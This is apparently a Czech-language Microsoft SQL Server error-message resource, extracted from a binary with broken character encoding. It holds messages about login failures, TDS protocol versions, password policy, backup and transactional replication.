�PYi pokusu o zaaifrov�n� hesla doalo k chyb. PYipojen� bylo uzavYeno.%1!s!

LPaket pYed pYihlaaov�n�m, kter� se pou~�v� k otevYen� pYipojen�, nem� platnou strukturu. PYipojen� bylo uzavYeno. Kontaktujte dodavatele klientsk� knihovny.%1!s!

�PYi pokusu o nav�z�n� pYipojen� doalo k chyb s�t. PYipojen� bylo uzavYeno.%1!s!

PYi pokusu o nav�z�n� pYipojen� doalo k chyb s�t (k�d 0x%1!s!). PYipojen� bylo uzavYeno. PY�
inou mo~e b�t vypraen� limitu pYihl�aen� klienta nebo serveru. as str�ven� pYi pYihlaaov�n�: celkem %2!s! ms, zaYazen� do fronty %3!s! ms, s�eov� z�pisy %4!s! ms, s�eov� 
ten� %5!s! ms, nav�z�n� pYipojen� SSL %6!s! ms, s�eov� 
ten� bhem pYipojen� SSL %7!s! ms, s�eov� z�pisy bhem SSL %8!s! ms, zabezpe
en� vol�n� bhem pYipojen� SSL %9!s! ms, zaYazen� do fronty bhem pYipojen� SSL %10!s! ms, vyjedn�v�n� SSPI %11!s! ms, s�eov� 
ten� bhem SSPI %12!s! ms, s�eov� z�pisy bhem SSPI %13!s! ms, zabezpe
en� vol�n� bhem SSPI %14!s! ms, zaYazen� do fronty bhem SSPI %15!s! ms, ovYov�n� pYihl�aen� %16!s! ms, v
etn zpracov�n� u~ivatelem definovan�ho pYihl�aen� %17!s! ms.%18!s!

LPaket pYed pYihlaaov�n�m, kter� je pou~it k otevYen� pYipojen�, nem� platnou strukturu. PYipojen� bylo uzavYeno. Kontaktujte dodavatele klientsk� knihovny.%1!s!

HPYihl�aen� k tomuto serveru vy~aduje aifrov�n�. Klientsk� knihovna vaak aifrov�n� nepodporuje. PYipojen� bylo uzavYeno. Aktualizujte klientskou knihovnu.%1!s!

8D�lka zadan� v datov� 
�sti s�eov�ho paketu neodpov�d� po
tu pYe
ten�ch bajto. PYipojen� bylo uzavYeno. Kontaktujte dodavatele klientsk� knihovny.%1!s!

,datov� typ char%0

Xdatov� typ char s promnlivou d�lkou%0

4bin�rn� datov� typ%0

\bin�rn� datov� typ s promnlivou d�lkou%0

L1bajtov� celo
�seln� datov� typ%0

L2bajtov� celo
�seln� datov� typ%0

L4bajtov� celo
�seln� datov� typ%0

,datov� typ bit%0

4datov� typ datetime%0

ddatov� typ datetime, hodnoty NULL povoleny%0

0datov� typ money%0

\datov� typ money, hodnoty NULL povoleny%0

p4bajtov� datov� typ float, hodnoty NULL povoleny%0

@8bajtov� datov� typ float%0

p8bajtov� datov� typ float, hodnoty NULL povoleny%0

t4bajtov� datov� typ datetime, hodnoty NULL povoleny%0

@4bajtov� datov� typ money%0

(typ ud�losti%0

Lstavov� pole dokon
en�ho paketu%0

8typ z�va~nosti chyby%0

|4bajtov� celo
�seln� datov� typ, hodnoty NULL povoleny%0

0datov� typ image%0

,datov� typ text%0

4
�seln� datov� typ%0

`
�seln� datov� typ, hodnoty NULL povoleny%0

8desetinn� datov� typ%0

ddesetinn� datov� typ, hodnoty NULL povoleny%0

Xdatov� typ bit, hodnoty NULL povoleny%0

t8000bajtov� bin�rn� datov� typ s promnlivou d�lkou%0

�8000bajtov� datov� typ textov�ch dat s promnlivou d�lkou%0

H8000bajtov� datov� typ money%0

X8000bajtov� datov� typ textov�ch dat%0

|8000bajtov� datov� typ textov�ch dat standardu Unicode%0

�8000bajtov� datov� typ textov�ch dat standardu Unicode s promnlivou d�lkou%0

Pdatov� typ text standardu Unicode%0

Ddatov� typ uniqueidentifier%0

�%1!s! je rozhran� API knihovny Open Data Services, kter� nen� podporov�no.

�Do procedury generuj�c� jazyk Web Service Description Language (WSDL) byl pYed�n neo
ek�van� Yetzec dotazu.

tServer vyYad� pYipojen�, proto~e bhem relace v jednou~ivatelsk�m re~imu odeslal ovlada
 klienta v�ce ~�dost�. Tato chyba nastane, kdy~ klient odeale ~�dost na obnoven� pYipojen� a v relaci st�le b~� d�vky, nebo kdy~ klient odeale ~�dost a relace obnovuje pYipojen�. Kontaktujte dodavatele ovlada
e klienta.

LNov� pYipojen� bylo odm�tnuto, proto~e byl dosa~en maxim�ln� po
et pYipojen� k relaci ID %1!s!. UzavYete st�vaj�c� pYipojen� k t�to relaci a opakujte akci.%2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo z dovodu spuatn� aktiva
n� ud�losti.%2!s!

�Verze protokolu Tabular Data Stream (TDS) 0x%1!s! klientsk� knihovny pou~it� k obnoven� mrtv�ho pYipojen� nen� podporov�na nebo nen� zn�ma. Server nemohl obnovit pYipojen� k po~adovan� verzi protokolu TDS. PYipojen� bylo ukon
eno. %2!s!

�Data funkce obnoven� relace pou~it� v z�znamu pYihl�aen� k otevYen� nebo obnoven� pYipojen� jsou struktur�ln nebo s�manticky neplatn�. PYipojen� bylo ukon
eno. Kontaktujte dodavatele klientsk� knihovny.%1!s!

�Protokol TDS (Tabular Data Stream) verze 0x%1!s! pou~it� klientskou knihovnou k otevYen� pYipojen� nen� podporov�n nebo je nezn�m�. Pou~ijte klientskou knihovnu, kter� podporuje verzi TDS 7.4 nebo novja� (napY. Microsoft SQL Server Native Client 11.0 nebo novja�, ADO.NET 4.5 nebo novja� nebo Microsoft SQL Server JDBC 4.0 nebo novja�). PYipojen� bylo ukon
eno.

pasova
 pYihl�aen� pro klientsk� pYipojen� vyprael.

�Doalo k chyb s�t ve vytvoYen�m pYipojen�. PYipojen� se zavYelo.

8PYi spuatn� roza�Yen� ulo~en� procedury doalo k v�jimce %1!s! v knihovn %2!s!. Syst�m SQL Server ukon
uje proces %3!s!. Typ v�jimky: %4!s!; k�d v�jimky: 0x%5!s! Chcete-li vygenerovat minim�ln� v�pis, vytvoYte relaci XEvent pomoc� ud�losti rutiny v�pisu a akce vytvoYen� v�pisu.

dChyba: %1!s!, z�va~nost: %2!s!, stav: %3!s!.

�Chyba: %1!s!, z�va~nost: %2!s!, stav: %3!s!. (Parametry:%4!s!). Chyba je vytiatna v stru
n�m re~imu, proto~e bhem form�tov�n� doalo k chyb. Trasov�n�, ETW, ozn�men� atd. jsou vynech�ny.

Byla vyvol�na chyba %1!s!, z�va~nost %2!s!, stav %3!s!, ale v syst�mov�ch zpr�v�ch nebyla nalezena ~�dn� zpr�va s t�mto 
�slem chyby. Pokud je 
�slo chyby vta� ne~ 5 000, zkontrolujte, zda je u~ivatelem definovan� zpr�va pYid�na pomoc� procedury sp_addmessage.

�PYi pokusu serveru o obnoven� pYipojen� %3!s! doalo k v�jimce %1!s!, %2!s!. PYipojen� bylo vyYazeno, proto~e se server nemohl zotavit po chyb pYi pokusu o obnoven� pYipojen�. Kontaktuje technickou podporu spole
nosti Microsoft.

PKlient nemohl opakovan pou~�t relaci s identifik�torem SPID %1!s!, kter� byla obnovena pro sdru~ov�n� pYipojen�. ID chyby je %2!s!. Tato chyba mo~e b�t zposobena dY�vja� chybou operace. Zkontrolujte v protokolech chyb operace, kter� se nezdaYily bezprostYedn pYed touto chybovou zpr�vou.

hChyba: NepodaYilo se nastavit kontext spuatn�.

pNepodaYilo se na
�st Yetzec form�tu pro chybu %1!s!, ID jazyka %2!s!. Chyba opera
n�ho syst�mu: %3!s!. Zkontrolujte, zda zdrojov� soubor odpov�d� spustiteln�mu souboru syst�mu SQL Server a zda zdrojov� soubor v lokalizovan�m adres�Yi odpov�d� souboru v anglick�m adres�Yi. Zkontrolujte tak� vyu~it� pamti.

(PYipojen� bylo vyYazeno, proto~e objekt zabezpe
en�, kter� pYipojen� otevYel, n�sledn pYijal nov� bezpe
nostn� kontext a pot� se pokusil obnovit pYipojen� pYi sv�m zosobnn�m kontextu pYipojen�. Tento sc�n�Y nen� podporov�n. PYehled zosobnn� naleznete v Knih�ch online.

@NepodaYilo se naform�tovat Yetzec pro chybu %1!s!, ID jazyka %2!s!. To mo~e b�t zposobeno nedostate
nou pamt� serveru nebo chybou pYi form�tov�n� zpr�vy.

8Klient se nemohl pYipojit k relaci s identifik�torem SPID %1!s!. Tato chyba mohla b�t zposobena dY�vja� chybou operace nebo zmnou v opr�vnn�ch od okam~iku vytvoYen� relace. Zkontrolujte v protokolech chyb operace, kter� se nezdaYily bezprostYedn pYed touto chybovou zpr�vou.

�%1!s!: Z�lohovac�mu zaY�zen� %2!s! se nepodaYilo prov�st operaci %3!s!. Chyba opera
n�ho syst�mu %4!s!.

�%1!s!: %2!s! chyba z�lohovac�ho zaY�zen� %3!s!. Chyba opera
n�ho syst�mu %4!s!.

�Bhem obnoven� restartov�n� doalo k chyb I/O v souboru kontroln�ho bodu %1!s! (chyba opera
n�ho syst�mu %2!s!). PY�kaz pokra
uje, ale nemo~e b�t restartov�n. Zkontrolujte, zda existuje pro soubor kontroln�ho bodu platn� um�stn� �lo~iat.

�Nelze vymazat bitmapu %1!s! v datab�zi %2!s! z dovodu chyby %3!s!. N�sledkem toho rozd�lov� nebo hromadn protokolovan� bitmapa nadsad� mno~stv� zmn, kter� nastanou pYi dala� rozd�lov� z�loze nebo z�loze protokolu. Tato nesrovnalost mo~e zpomalit pozdja� operace pYi rozd�lov�m z�lohov�n� nebo z�lohov�n� protokolo a zposobit, ~e sady z�loh jsou vta�, ne~ je nezbytn�. PY�
inou t�to chyby jsou zpravidla nedostate
n� zdroje. Prozkoumejte chybu a vyYeate pY�
inu. Pokud doalo pYi z�lohov�n� dat k chyb, doporu
ujeme pomoc� z�lohov�n� dat vytvoYit nov� b�ze pro budouc� rozd�lov� z�lohy.

�Bhem operace RESTORE doalo k chyb I/O v souboru kontroln�ho bodu %1!s! (chyba opera
n�ho syst�mu %2!s!). Zkontrolujte, zda existuje pro soubor kontroln�ho bodu platn� um�stn� �lo~iat, a opakujte akci.

Soubor %1!s! se odeb�r� z datab�ze, ale neodeb�r� se ze syst�mu souboro, proto~e k souboru jsou st�le jeat pYidru~en� sn�mky.

�Ve vl�knu kontroln�ho bodu na pozad� doalo k neodstraniteln� chyb. Proces kontroln�ho bodu bude ukon
en, aby vl�kno mohlo vy
istit sv� zdroje. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

PYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: Server je v re~imu upgradu skriptu. Nyn� se mo~e pYipojit pouze spr�vce.%2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo. Nyn� se mo~e pYipojit pouze spr�vce.%2!s!

�PYihl�aen� se nezdaYilo. PYihl�aen� probhlo z nedovryhodn� dom�ny a nelze je pou~�t pro integrovan� ovYov�n�.%1!s!

pPYihl�aen� u~ivatele %1!s! se nezdaYilo.%2!s!%3!s!

<PYihl�aen� se nezdaYilo. Po
et sou
asn pYipojen�ch u~ivatelo je ji~ roven po
tu licenc� registrovan�ch pro tento server (%1!s!). Chcete-li zv�ait maxim�ln� po
et sou
asn pYipojen�ch u~ivatelo, z�skejte dala� licence a registrujte je pomoc� ovl�dac�ho panelu Polo~ky licenc�.%2!s!

�PYihl�aen� se nezdaYilo. Licen
n� limit pracovn� stanice pro pY�stup k syst�mu SQL Server byl ji~ dosa~en.%1!s!

�PYihl�aen� se nezdaYilo. Po
et sou
asn pYipojen�ch u~ivatelo ji~ dos�hl limitu %1!s! licenc� pro server %2!s!. Z�skejte a instalujte dala� licence nebo syst�m upgradujte na plnou verzi.%3!s!

PYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: Server je v jednou~ivatelsk�m re~imu. Nyn� se mo~e pYipojit pouze spr�vce.%2!s!

PYihl�aen� u~ivatele %1!s! se nezdaYilo. Zmna hesla se nezdaYila. Heslo pro u~ivatele je pY�lia nov� a nelze je zmnit. %2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo. Zmna hesla se nezdaYila. Heslo nyn� nelze pou~�t. %2!s!

DPYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: Zmna hesla se nezdaYila. Heslo nesplHuje po~adavky z�sad opera
n�ho syst�mu, proto~e je pY�lia kr�tk�.%2!s!

DPYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: Zmna hesla se nezdaYila. Heslo nesplHuje po~adavky z�sad opera
n�ho syst�mu, proto~e je pY�lia dlouh�.%2!s!

PPYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: Zmna hesla se nezdaYila. Heslo nesplHuje po~adavky z�sad opera
n�ho syst�mu, proto~e nen� dostate
n slo~it�.%2!s!

PYihl�aen� u~ivatele %1!s! se nezdaYilo. Zmna hesla se nezdaYila. Heslo nesplHuje po~adavky knihovny DLL filtru hesel. %2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo. Zmna hesla se nezdaYila. Bhem ovYov�n� hesla doalo k neo
ek�van� chyb. %2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: �
et je zak�z�n.%2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo. Zmna hesla se nezdaYila. U~ivatel nem� opr�vnn� zmnit heslo. %2!s!

<Nelze se pYipojit k serveru %1!s!, proto~e objekt %2!s! nen� definov�n jako vzd�len� server. Zkontrolujte, zda jste zadali spr�vn� n�zev serveru. %3!s!.

`Nelze se pYipojit k serveru %1!s!, proto~e objekt %2!s! nen� definov�n jako vzd�len� pYihl�aen� k serveru. Zkontrolujte, zda jste zadali spr�vn� pYihlaaovac� jm�no. %3!s!.

pNelze se pYipojit k serveru %1!s!, proto~e nen� nakonfigurov�n k pYij�m�n� vzd�len�ch pYihl�aen�. Pomoc� mo~nosti konfigurace vzd�len�ho pY�stupu povolte vzd�len� pYihl�aen�.%2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo, proto~e �
et je aktu�ln uzam
en. �
et mo~e odemknout spr�vce syst�mu. %2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: Platnost hesla k �
tu vypraela.%2!s!

�PYihl�aen� u~ivatele %1!s! se nezdaYilo. Dovod: Heslo k �
tu mus� b�t zmnno.%2!s!

�Nelze spustit syst�m SQL Server, proto~e s�riov� 
�slo je neplatn�. Informace o s�riov�m 
�sle z�skan� pYi spuatn� je zYejm neplatn�. Chcete-li pokra
ovat, pYeinstalujte syst�m SQL Server.

�Nelze spustit syst�m SQL Server, proto~e licen
n� smlouva pro verzi %1!s! syst�mu SQL Server je neplatn�. Server bude ukon
en. Chcete-li pokra
ovat, pYeinstalujte syst�m SQL Server s platnou licenc�.

�Tato verze syst�mu SQL Server nepodporuje pYihlaaovac� pY�znak u~ivatelsk� instance. PYipojen� bude uzavYeno. %1!s!

,PY�znak pYihl�aen� u~ivatelsk� instance nen� bhem pYipojov�n� k u~ivatelsk� instanci syst�mu SQL Server povolen. PYipojen� bude uzavYeno. %1!s!

PY�znak pYihl�aen� u~ivatelsk� instance nelze pou~�t spole
n s pYipojen�m n�zvu souboru datab�ze. PYipojen� bude uzavYeno.%1!s!

�%1!s! nelze spustit, proto~e nen� dostatek pamti v syst�mu.

lInstalace %1!s! je bu poakozen�, nebo s n� bylo neopr�vnn manipulov�no (%2!s!). Odinstalujte instalaci a pot� znovu spusete instala
n� program, abyste tento probl�m opravili.

`Objekt %1!s! nalezl v�choz� instanci (%2!s!)   chyba %3!s!. Zadejte n�zev st�vaj�c� instance pro vyvol�n� souboru sqlservr.exe.\n\nPokud vY�te, ~e je instalace poakozen� nebo s n� bylo neopr�vnn manipulov�no, odinstalujte ji a pot� znovu spusete instala
n� program, abyste tento probl�m opravili.

|Objekt %1!s! nenalezl pojmenovanou instanci (%2!s!)   chyba %3!s!. Zadejte n�zev st�vaj�c� instance pro vyvol�n� souboru sqlservr.exe.\n\nPokud se domn�v�te, ~e je instalace poakozen� nebo s n� bylo neopr�vnn manipulov�no, odinstalujte ji a pot� znovu spusete instala
n� program, abyste tento probl�m opravili.

P%1!s!: Parametr %2!s! je neplatn�.

xProcedura %1!s! byla vol�na s chybn�m po
tem parametro.

DK datab�zi lze najednou pYipojit jen jednoho Agenta 
te
ky protokolo nebo proceduru souvisej�c� s protokolem (sp_repldone, sp_replcmds a sp_replshowcmds). Pokud jste spustili proceduru souvisej�c� s protokolem, vyYate pYipojen�, pYes kter� byla procedura spuatna, nebo pYed spuatn�m Agenta 
te
ky protokolo nebo spuatn�m jin� procedury souvisej�c� s protokoly spusete pYes toto spojen� proceduru sp_replflush.

�Nelze pYidlit pame pro replikaci. Zkontrolujte, zda m� SQL Server dostatek pamti pro vaechny operace.

(Nelze na
�st informaci o replikaci pro tabulku %1!s!. Zkontrolujte, zda m� tabulka prim�rn� kl�
, a pot� znovu spusete Agenta 
te
ky protokolo.

�Nelze spustit proceduru. Datab�ze nen� publikov�na. Spusete proceduru v datab�zi, kter� je publikov�na pro replikaci.

4Neplatn� pY�kaz %1!s! pro 
l�nek %2!s!. Zkontrolujte, zda ulo~en� procedury, kter� a�Y� zmny mezi odbrateli, pou~�vaj� pY�sluanou syntaxi vol�n�. Pot� znovu spusete Agenta 
te
ky protokolo. Pomoc� procedur sp_helparticle a sp_changearticle zobraz�te a zmn�te syntaxi vol�n�.

�Z�znam o z�pisu v {%1!s!:%2!s!:%3!s!} byl ji~ distribuov�n.

�Neplatn� po
�te
n� LSN {%1!s!:%2!s!:%3!s!} pro z�znam o z�pisu {%4!s!:%5!s!:%6!s!}. Zkontrolujte objekt DBTABLE.

�V z�znamu o z�pisu {%1!s!:%2!s!:%3!s!} je uvedena nejstara� aktivn� hodnota LSN jako (0:0:0).

�Spuatn� ulo~en� procedury filtru %1!s! se nezdaYilo. Dala� informace naleznete v protokolu chyb syst�mu SQL Server.

�PoYadov� 
�slo polo~ky (LSN) %1!s! zadan� pro prohled�v�n� protokolu replikace je neplatn�.

lPole replbeginlsn v tabulce DBTABLE je neplatn�.

DZadan� po
�te
n� hodnota LSN {%1!s!:%2!s!:%3!s!} pro prohled�v�n� protokolu replikace je stara� ne~ hodnota uveden� v poli replbeginlsn {%4!s!:%5!s!:%6!s!}.

4Zadan� hodnota LSN {%1!s!:%2!s!:%3!s!} pro prohled�v�n� protokolu repldone je stara� ne~ aktu�ln� zah�jen� replikace v protokolu {%4!s!:%5!s!:%6!s!}.

�Zadan� hodnota LSN {%1!s!:%2!s!:%3!s!} pro prohled�v�n� protokolu repldone nen� replikovan�m z�znamem o z�pisu.

�Zadan� hodnota LSN {%1!s!:%2!s!:%3!s!} pro prohled�v�n� protokolu repldone se v transak
n�m protokolu nevyskytuje.

�Pro typ �lo~iat %1!s! byla zad�na neplatn� varianta typu %2!s!.

�Neplatn� datov� typ serveru (%1!s!) zadan� ve vyhled�v�n� typu repl.

�PYi vytv�Yen� pY�kazu nebyly nalezeny z�znamy s textov�mi informacemi pro sloupec %1!s! s ID %2!s!.

xUlo~enou proceduru %1!s! je tYeba spustit v transakci.

�Agent 
te
ky protokolo zjistil pYi zpracov�v�n� operace DML neo
ek�van� z�znam protokolu typu %1!s!.

�PYi 
ek�n� na ud�lost pY�stupu k mezipamti 
l�nku doalo k chyb.

d%1!s!: chyba pYi inicializaci komponent MSMQ

p%1!s!: chyba pYi otev�r�n� fronty zpr�v MSMQ %2!s!

�Zadali jste hodnotu pro parametr @dts_package_password. Je tYeba tak� zadat hodnotu pro parametr @dts_package_name.

Hodnota zadan� pro parametr @backupdevicetype nen� platn�. Parametr sm� nab�vat jedn� z hodnot logick� jednotka, disk nebo p�ska.

HV zadan�m z�lohovac�m zaY�zen� nelze naj�t informace z�hlav� z�lohy pro datab�zi %1!s!. Zadejte z�lohovac� zaY�zen�, kter� obsahuje z�lohu datab�ze vydavatele.

�Cesta ke skriptu nastaven� odbru byla zkr�cena, proto~e cesta k adres�Yi slo~ky sn�mko je pY�lia dlouh�. PYekonfigurujte distributora tak, aby pro tohoto vydavatele pou~�val krata� cestu, a opakujte operaci.

xAlternativn� cesta ke slo~ce sn�mko vytvoYen� replikac� byla zkr�cena. PYekonfigurujte publikaci tak, aby se pou~�vala krata� alternativn� cesta ke slo~ce sn�mko, a opakujte operaci.

�Zadan� publikace nepovoluje odbry inicializovan� ze z�lohy. Chcete-li povolit inicializaci ze z�lohy, pou~ijte proceduru sp_changepublication a nastavte parametr allow_initialize_from_backup na hodnotu true.

Publikace sn�mko nemohou pou~�t mo~nost inicializace odbru ze z�lohy. Tato mo~nost je podporov�na pouze pro transak
n� publikace.

�Mo~nost inicializace odbru ze z�lohy nen� dostupn�. Nen� podporov�na pro vydavatele jin�ho typu ne~ SQL Server. Tato mo~nost je podporov�na pouze pro transak
n� publikace vydavatelo typu SQL Server.

�Platn�mi nov�mi typy 
l�nku indexovan�ho zobrazen� zalo~en�ho na protokolu jsou pouze hodnoty indexed view logbased, indexed view logbased manualfilter, indexed view logbased manualview a indexed view logbased manualboth.

@Platn�mi nov�mi typy 
l�nku tabulky zalo~en�ho na protokolu jsou pouze hodnoty logbased, logbased manualfilter, logbased manualview a logbased manualboth.

LTuto operaci mohou prov�dt pouze u~ivatel�, kteY� jsou 
leny pevn� role serveru sysadmin, nebo pevn� datab�zov� role dbowner nebo dbcreator v aktu�ln� datab�zi.

xPame pro uzel verze sch�matu replikace nelze pYidlit.

<Do syst�mov� tabulky systranschemas nelze vlo~it novou zmnu sch�matu. HRESULT = 0x%1!s!. Pokud pot�~e potrvaj�, obraete se na slu~bu z�kaznick� podpory.

(T�ma %1!s! nen� podporovan� t�ma n�povdy. Chcete-li zobrazit seznam podporovan�ch t�mat, spusete ulo~enou proceduru sp_replhelp N'helptopics'.

�Replikace peer-to-peer byla povolena, ale agent 
te
ky protokolo nenalezl z�znam ERO (Extended-Originator-Record) pro transakci, kter� nepoch�z� z tohoto serveru. Kontaktujte slu~bu z�kaznick� podpory.

�Procesu prohled�v�n� protokolu se nepodaYilo vytvoYit replikovan� pY�kaz z poYadov�ho 
�sla polo~ky (LSN) {%1!s!:%2!s!:%3!s!}. VytvoYte z�lohu publika
n� datab�ze a obraete se na slu~bu z�kaznick� podpory.

@Replika
n� prostYedek nelze inicializovat. Zkontrolujte, zda m� syst�m SQL Server dostate
nou pame. Pokud pot�~e potrvaj�, restartujte syst�m SQL Server.

4Nelze nal�zt ID objektu pro syst�movou tabulku %1!s! replikace. Zkontrolujte, zda syst�mov� tabulka existuje a zda je pY�stupn� pY�m�m dotazov�n�m. Pokud existuje, zastavte agenta 
te
ky protokolo a znovu jej spusete. Pokud neexistuje, ukon
ete replikaci a pYekonfigurujte ji.

Informace v 
l�nku nejsou platn�. Zastavte agenta 
te
ky protokolo, spusete ulo~enou proceduru sp_replflush a pak agenta znovu spusete.

Byl zjiatn z�znam protokolu {%1!s!:%2!s!:%3!s!} transakce END_UPDATE, ale nebyla nalezena odpov�daj�c� transakce BEGIN_UPDATE.

xProhled�v�n� tabulky %1!s!nelze spustit znovu. HRESULT = 0x%2!s!. Zastavte agenta 
te
ky protokolo a znovu jej spusete. Pokud pot�~e potrvaj�, obraete se na slu~bu z�kaznick� podpory.

LNeplatn� z�znam protokolu %1!s!.

tDatab�zov� objekt nelze v mezipamti 
l�nku zamknout.

8O
ek�van� velikost dat: %1!s! bajto, po
et bajto nalezen�ch v transak
n�m protokolu: pouze %2!s!. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�Blok textov�ch informac� nen� platn�. Obraete se na slu~bu z�kaznick� podpory.

�NepodaYilo se prohledat k poYadov�mu 
�slu polo~ky (LSN) {%1!s!:%2!s!:%3!s!}. Obraete se na slu~bu z�kaznick� podpory.

(NepodaYilo se zamknout aktu�ln� z�znam protokolu pro poYadov� 
�slo polo~ky (LSN) {%1!s!:%2!s!:%3!s!}. Obraete se na slu~bu z�kaznick� podpory.

Sada Y�dko neobsahuje ~�dn� sloupec s posunem %1!s!. VytvoYte z�lohu publika
n� datab�ze a obraete se na slu~bu z�kaznick� podpory.

LNeplatn� hodnota %1!s! pro %2!s!.

@NepodaYilo se odstranit Y�dky z tabulky systranschemas. HRESULT = 0x%1!s!. X�dky budou odstranny, jakmile replikace spust� ulo~enou proceduru sp_replcmds.

�Agent 
te
ky protokolo pYed zpracov�n�m vaech transakc� v zatYiovac� tabulce prohledal protokol a~ do konce. Po
et transakc� v zatYiovac� tabulce: %1!s! , po
et zpracovan�ch transakc�: %2!s!, hodnota LSN konce protokolu: {%3!s!:%4!s!:%5!s!}. VytvoYte z�lohu publika
n� datab�ze a obraete se na slu~bu z�kaznick� podpory.

PNeplatn� definice procedury filtru.

�NepodaYilo se prohledat k z�znamu odstrann�ho protokolu aktualizovan� z�kladny pro poYadov� 
�slo polo~ky (LSN) {%1!s!:%2!s!:%3!s!} se nezdaYilo. Obraete se na slu~bu z�kaznick� podpory.

�Sv�zan� aktualizace byla zaprotokolov�na v r�mci jin� sv�zan� aktualizace ve stejn� transakci. Prvn� hodnota BEGIN_UPDATE {%1!s!:%2!s!:%3!s!}, aktu�ln� hodnota BEGIN_UPDATE {%4!s!:%5!s!:%6!s!}. Obraete se na slu~bu z�kaznick� podpory.

�Agent 
te
ky protokolo pYi zpracov�n� sv�zan� aktualizace prohledal protokol a~ do konce. Hodnota LSN pro transakci BEGIN_UPDATE {%1!s!:%2!s!:%3!s!}, hodnota LSN pro transakci END_UPDATE {%4!s!:%5!s!:%6!s!}, aktu�ln� hodnota LSN {%7!s!:%8!s!:%9!s!}. VytvoYte z�lohu publika
n� datab�ze a obraete se na slu~bu z�kaznick� podpory.

DPYi zpracov�n� po
�tku textov�ch informac� (TIB   Text Information Begin) pro posun %1!s! byl nalezen neo
ek�van� z�znam protokolu TIB. Naposledy zpracovan� informace TIB: (textInfoFlags 0x%2!s!, coloffset %3!s!, newSize %4!s!, oldSize %5!s!). Obraete se na slu~bu z�kaznick� podpory.

�Byl zjiatn neo
ek�van� z�znam protokolu TIE (Text Information End). Naposledy zpracovan� informace TIB: (textInfoFlags 0x%1!s!, coloffset %2!s!, newSize %3!s!, oldSize %4!s!), stav kolekce textu %5!s!. Kontaktujte oddlen� technick� podpory.

�%1!s!, ti: {RowsetId %2!s!, {TextTimeStamp %3!s!, {RowId {PageId %4!s!, FileId %5!s!}, SlotId %6!s!}}, coloffset %7!s!, textInfoFlags 0x%8!s!, textSize %9!s!, offset %10!s!, oldSize %11!s!, newSize %12!s!}.

|V aktu�ln�m sch�matu nelze naj�t sadu Y�dko s ID %1!s!. Zastavte agenta 
te
ky protokolo a spusete jej znovu. Pokud pot�~e potrvaj�, provete novou inicializaci vaech odbro publikace.

�Agent 
te
ky protokolo zjistit pY�kaz s hodnotou NULL, co~ nen� platn�. Pokud se agent zastavil, spusete ho znovu. Pokud pot�~e potrvaj�, provete novou inicializaci vaech odbro publikace.

�V mezipamti 
l�nku nelze nal�zt informace o datab�zi. Zastavte a znovu spusete syst�m SQL Server a agenta 
te
ky protokolo. Pokud probl�my potrvaj�, vytvoYte z�lohu publika
n� datab�ze a obraete se na slu~bu z�kaznick� podpory.

�Na
ten� nejstara�ho aktivn�ho poYadov�ho 
�sla polo~ky (LSN) ze z�znamu o z�pisu. Zastavte a znovu spusete syst�m SQL Server a agenta 
te
ky protokolo. Pokud pot�~e potrvaj�, provete novou inicializaci vaech odbro publikace.

�NepodaYilo se pYidlit vyrovn�vac� pame pro pY�kaz replikace, star� velikost %1!s!, nov� velikost %2!s!.

Neplatn� rozsah kompenzace: za
�tek {%1!s!:%2!s!:%3!s!}, konec {%4!s!:%5!s!:%6!s!}. Provete novou inicializaci vaech odbro publikace.

<Ze z�znamo protokolu vygenerovan�ch z operace zalo~en� na ukazateli textu nelze na
�st ID sady Y�dko. Provete novou inicializaci vaech odbro publikace.

Mo~n� nekonzistentn� stav v distribu
n� datab�zi: dist_backup_lsn {%1!s!:%2!s!:%3!s!}, dist_last_lsn {%4!s!:%5!s!:%6!s!}. Spusete nejdY�ve proceduru sp_repldone NULL, NULL, 0, 0, 1 a pak proceduru sp_replflush. Provete novou inicializaci vaech odbro publikace.

�Informace o datab�zi peer-to-peer nelze na
�st. Obraete se na slu~bu z�kaznick� podpory.

hVyhodnocen� procedury filtru nebo po
�tan�ho sloupce se nezdaYilo. Pro ID sloupce %1!s! a rowsetId %2!s! nelze nal�zt informace o posunu sloupce. Zastavte agenta 
te
ky protokolo a spusete jej znovu. Pokud probl�my potrvaj�, vytvoYte z�lohu publika
n� datab�ze a obraete se na slu~bu z�kaznick� podpory.

\Byl zjiatn neo
ek�van� z�znam protokolu %1!s!, posledn� zpracovan� uzel FILESTREAMInfo: {%2!s!, {{%3!s!, %4!s!}, %5!s!, %6!s!, %7!s!, %8!s!}, %9!s!, %10!s!, %11!s!, %12!s!, %13!s!, %14!s!, {%15!s!:%16!s!:%17!s!}, %18!s!, {{%19!s!, %20!s!}, %21!s!, %22!s!, %23!s!, %24!s!}, {%25!s!:%26!s!:%27!s!}}

�Nelze %1!s! kontext replikace pro syst�m TxF: {%2!s!, %3!s!, %4!s!, %5!s!, %6!s!, %7!s!, %8!s!, %9!s!, {%10!s!:%11!s!:%12!s!}, %13!s!, %14!s!, {%15!s!:%16!s!:%17!s!}}. Pokud pot�~e potrvaj�, obraete se na technickou podporu.

4NepodaYilo se pYe
�st strukturu TXF_REPLICATION_RECORD_WRITE. Posledn� vr�cen� chyba %1!s!. Pokud pot�~e potrvaj�, obraete se na z�kaznick� podpory.

�Nejm�n jeden odbr byl ozna
en jako neaktivn�. VyYate vaechny odbry pro pY�sluan� uzel a vytvoYte je znovu.

�Datab�zi nelze pYejmenovat, proto~e je publikov�na nebo se jedn� o distribu
n� datab�zi pou~�vanou replikac�.

Agent %1!s! se pokoua� opakovat akci po chyb. Po
et pokuso %2!s!. Dala� podrobnosti naleznete v historii �loh agenta ve slo~ce �lohy.

�Odbr t�to publikace nen� dosud aktivn�. Nen� tYeba ~�dn� akce u~ivatele.

